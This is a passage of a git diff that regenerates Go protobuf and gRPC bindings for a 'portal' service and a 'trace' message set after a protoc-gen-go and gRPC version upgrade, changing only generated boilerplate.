- if x, ok := x.GetPayload().(*Mote_Tcp); ok { - return x.Tcp + if x != nil { + if x, ok := x.Payload.(*Mote_Tcp); ok { + return x.Tcp + } } return nil } func (x *Mote) GetBytes() *BytesPayload { - if x, ok := x.GetPayload().(*Mote_Bytes); ok { - return x.Bytes + if x != nil { + if x, ok := x.Payload.(*Mote_Bytes); ok { + return x.Bytes + } } return nil } func (x *Mote) GetShell() *ShellPayload { - if x, ok := x.GetPayload().(*Mote_Shell); ok { - return x.Shell + if x != nil { + if x, ok := x.Payload.(*Mote_Shell); ok { + return x.Shell + } } return nil } @@ -460,21 +454,18 @@ func (*Mote_Bytes) isMote_Payload() {} func (*Mote_Shell) isMote_Payload() {} type OpenPortalRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + PortalId int64 `protobuf:"varint,1,opt,name=portal_id,json=portalId,proto3" json:"portal_id,omitempty"` + Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` unknownFields protoimpl.UnknownFields - - PortalId int64 `protobuf:"varint,1,opt,name=portal_id,json=portalId,proto3" json:"portal_id,omitempty"` - Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` + sizeCache protoimpl.SizeCache } func (x *OpenPortalRequest) Reset() { *x = OpenPortalRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *OpenPortalRequest) String() string { @@ -485,7 +476,7 @@ func (*OpenPortalRequest) ProtoMessage() {} func (x *OpenPortalRequest) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -515,20 +506,17 @@ func (x *OpenPortalRequest) GetMote() *Mote { } type OpenPortalResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` unknownFields protoimpl.UnknownFields - - Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` + sizeCache protoimpl.SizeCache } func (x *OpenPortalResponse) Reset() { *x = OpenPortalResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_portal_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_portal_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *OpenPortalResponse) String() string { @@ -539,7 +527,7 @@ func (*OpenPortalResponse) ProtoMessage() {} func (x *OpenPortalResponse) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[6] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -563,7 +551,7 @@ func (x *OpenPortalResponse) GetMote() *Mote { var File_portal_proto protoreflect.FileDescriptor -var file_portal_proto_rawDesc = []byte{ +var file_portal_proto_rawDesc = string([]byte{ 0x0a, 0x0c, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x06, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x22, 0x50, 0x0a, 0x0c, 0x42, 0x79, 0x74, 0x65, 0x73, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, 0x01, @@ -634,23 +622,23 @@ var file_portal_proto_rawDesc = []byte{ 0x21, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x73, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} +}) var ( file_portal_proto_rawDescOnce sync.Once - file_portal_proto_rawDescData = file_portal_proto_rawDesc + file_portal_proto_rawDescData []byte ) func file_portal_proto_rawDescGZIP() []byte { file_portal_proto_rawDescOnce.Do(func() { - file_portal_proto_rawDescData = protoimpl.X.CompressGZIP(file_portal_proto_rawDescData) + file_portal_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_portal_proto_rawDesc), len(file_portal_proto_rawDesc))) }) return file_portal_proto_rawDescData } var file_portal_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_portal_proto_msgTypes = make([]protoimpl.MessageInfo, 7) -var file_portal_proto_goTypes = []interface{}{ +var file_portal_proto_goTypes = []any{ (BytesPayloadKind)(0), // 0: portal.BytesPayloadKind (*BytesPayload)(nil), // 1: portal.BytesPayload (*TCPPayload)(nil), // 2: portal.TCPPayload @@ -682,93 +670,7 @@ func file_portal_proto_init() { if File_portal_proto != nil { return } - if !protoimpl.UnsafeEnabled { - file_portal_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BytesPayload); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_portal_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPayload); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_portal_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UDPPayload); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_portal_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellPayload); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_portal_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Mote); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_portal_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenPortalRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_portal_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenPortalResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - file_portal_proto_msgTypes[4].OneofWrappers = []interface{}{ + file_portal_proto_msgTypes[4].OneofWrappers = []any{ (*Mote_Udp)(nil), (*Mote_Tcp)(nil), (*Mote_Bytes)(nil), @@ -778,7 +680,7 @@ func file_portal_proto_init() { out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_portal_proto_rawDesc, + RawDescriptor: unsafe.Slice(unsafe.StringData(file_portal_proto_rawDesc), len(file_portal_proto_rawDesc)), NumEnums: 1, NumMessages: 7, NumExtensions: 0, @@ -790,7 +692,6 @@ func file_portal_proto_init() { MessageInfos: file_portal_proto_msgTypes, }.Build() File_portal_proto = out.File - file_portal_proto_rawDesc = nil file_portal_proto_goTypes = nil file_portal_proto_depIdxs = nil } diff --git a/tavern/portals/portalpb/portal_grpc.pb.go b/tavern/portals/portalpb/portal_grpc.pb.go index 2a782a108..9b0bd90f3 100644 --- a/tavern/portals/portalpb/portal_grpc.pb.go +++ b/tavern/portals/portalpb/portal_grpc.pb.go @@ -1,4 +1,8 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.21.12 +// source: portal.proto package portalpb @@ -11,7 +15,12 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. -const _ = grpc.SupportPackageIsVersion7 +// Requires gRPC-Go v1.62.0 or later. +const _ = grpc.SupportPackageIsVersion8 + +const ( + Portal_OpenPortal_FullMethodName = "/portal.Portal/OpenPortal" +) // PortalClient is the client API for Portal service. // @@ -29,11 +38,12 @@ func NewPortalClient(cc grpc.ClientConnInterface) PortalClient { } func (c *portalClient) OpenPortal(ctx context.Context, opts ...grpc.CallOption) (Portal_OpenPortalClient, error) { - stream, err := c.cc.NewStream(ctx, &_Portal_serviceDesc.Streams[0], "/portal.Portal/OpenPortal", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &Portal_ServiceDesc.Streams[0], Portal_OpenPortal_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &portalOpenPortalClient{stream} + x := &portalOpenPortalClient{ClientStream: stream} return x, nil } @@ -83,12 +93,12 @@ type UnsafePortalServer interface { mustEmbedUnimplementedPortalServer() } -func RegisterPortalServer(s *grpc.Server, srv PortalServer) { - s.RegisterService(&_Portal_serviceDesc, srv) +func RegisterPortalServer(s grpc.ServiceRegistrar, srv PortalServer) { + s.RegisterService(&Portal_ServiceDesc, srv) } func _Portal_OpenPortal_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(PortalServer).OpenPortal(&portalOpenPortalServer{stream}) + return srv.(PortalServer).OpenPortal(&portalOpenPortalServer{ServerStream: stream}) } type Portal_OpenPortalServer interface { @@ -113,7 +123,10 @@ func (x *portalOpenPortalServer) Recv() (*OpenPortalRequest, error) { return m, nil } -var _Portal_serviceDesc = grpc.ServiceDesc{ +// Portal_ServiceDesc is the grpc.ServiceDesc for Portal service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var Portal_ServiceDesc = grpc.ServiceDesc{ ServiceName: "portal.Portal", HandlerType: (*PortalServer)(nil), Methods: []grpc.MethodDesc{}, diff --git a/tavern/portals/tracepb/trace.pb.go b/tavern/portals/tracepb/trace.pb.go index 9ef9b034b..d16c158d5 100644 --- a/tavern/portals/tracepb/trace.pb.go +++ b/tavern/portals/tracepb/trace.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.32.0 +// protoc-gen-go v1.36.5 // protoc v3.21.12 // source: trace.proto @@ -11,6 +11,7 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" + unsafe "unsafe" ) const ( @@ -106,21 +107,18 @@ func (TraceEventKind) EnumDescriptor() ([]byte, []int) { // A single timestamped trace event type TraceEvent struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Kind TraceEventKind `protobuf:"varint,1,opt,name=kind,proto3,enum=trace.TraceEventKind" json:"kind,omitempty"` - TimestampMicros int64 `protobuf:"varint,2,opt,name=timestamp_micros,json=timestampMicros,proto3" json:"timestamp_micros,omitempty"` // Unix microsecond timestamp + state protoimpl.MessageState `protogen:"open.v1"` + Kind TraceEventKind `protobuf:"varint,1,opt,name=kind,proto3,enum=trace.TraceEventKind" json:"kind,omitempty"` + TimestampMicros int64 `protobuf:"varint,2,opt,name=timestamp_micros,json=timestampMicros,proto3" json:"timestamp_micros,omitempty"` // Unix microsecond timestamp + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *TraceEvent) Reset() { *x = TraceEvent{} - if protoimpl.UnsafeEnabled { - mi := &file_trace_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_trace_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *TraceEvent) String() string { @@ -131,7 +129,7 @@ func (*TraceEvent) ProtoMessage() {} func (x *TraceEvent) ProtoReflect() protoreflect.Message { mi := &file_trace_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -163,22 +161,19 @@ func (x *TraceEvent) GetTimestampMicros() int64 { // When BytesPayloadKind is TRACE, the `data` field of the mote // should contain the serialized bytes of this message. type TraceData struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + StartMicros int64 `protobuf:"varint,1,opt,name=start_micros,json=startMicros,proto3" json:"start_micros,omitempty"` // Time the trace started + Padding []byte `protobuf:"bytes,2,opt,name=padding,proto3" json:"padding,omitempty"` // Arbitrary bytes to simulate payload size + Events []*TraceEvent `protobuf:"bytes,3,rep,name=events,proto3" json:"events,omitempty"` // The ordered history of the journey unknownFields protoimpl.UnknownFields - - StartMicros int64 `protobuf:"varint,1,opt,name=start_micros,json=startMicros,proto3" json:"start_micros,omitempty"` // Time the trace started - Padding []byte `protobuf:"bytes,2,opt,name=padding,proto3" json:"padding,omitempty"` // Arbitrary bytes to simulate payload size - Events []*TraceEvent `protobuf:"bytes,3,rep,name=events,proto3" json:"events,omitempty"` // The ordered history of the journey + sizeCache protoimpl.SizeCache } func (x *TraceData) Reset() { *x = TraceData{} - if protoimpl.UnsafeEnabled { - mi := &file_trace_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_trace_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *TraceData) String() string { @@ -189,7 +184,7 @@ func (*TraceData) ProtoMessage() {} func (x *TraceData) ProtoReflect() protoreflect.Message { mi := &file_trace_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -227,7 +222,7 @@ func (x *TraceData) GetEvents() []*TraceEvent { var File_trace_proto protoreflect.FileDescriptor -var file_trace_proto_rawDesc = []byte{ +var file_trace_proto_rawDesc = string([]byte{ 0x0a, 0x0b, 0x74, 0x72, 0x61, 0x63, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x05, 0x74, 0x72, 0x61, 0x63, 0x65, 0x22, 0x62, 0x0a, 0x0a, 0x54, 0x72, 0x61, 0x63, 0x65, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, @@ -277,23 +272,23 @@ var file_trace_proto_rawDesc = []byte{ 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x73, 0x2f, 0x74, 0x72, 0x61, 0x63, 0x65, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} +}) var ( file_trace_proto_rawDescOnce sync.Once - file_trace_proto_rawDescData = file_trace_proto_rawDesc + file_trace_proto_rawDescData []byte ) func file_trace_proto_rawDescGZIP() []byte { file_trace_proto_rawDescOnce.Do(func() { - file_trace_proto_rawDescData = protoimpl.X.CompressGZIP(file_trace_proto_rawDescData) + file_trace_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_trace_proto_rawDesc), len(file_trace_proto_rawDesc))) }) return file_trace_proto_rawDescData } var file_trace_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_trace_proto_msgTypes = make([]protoimpl.MessageInfo, 2) -var file_trace_proto_goTypes = []interface{}{ +var file_trace_proto_goTypes = []any{ (TraceEventKind)(0), // 0: trace.TraceEventKind (*TraceEvent)(nil), // 1: trace.TraceEvent (*TraceData)(nil), // 2: trace.TraceData @@ -313,37 +308,11 @@ func file_trace_proto_init() { if File_trace_proto != nil { return } - if !protoimpl.UnsafeEnabled { - file_trace_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TraceEvent); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_trace_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TraceData); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_trace_proto_rawDesc, + RawDescriptor: unsafe.Slice(unsafe.StringData(file_trace_proto_rawDesc), len(file_trace_proto_rawDesc)), NumEnums: 1, NumMessages: 2, NumExtensions: 0, @@ -355,7 +324,6 @@ func file_trace_proto_init() { MessageInfos: file_trace_proto_msgTypes, }.Build() File_trace_proto = out.File - file_trace_proto_rawDesc = nil file_trace_proto_goTypes = nil file_trace_proto_depIdxs = nil }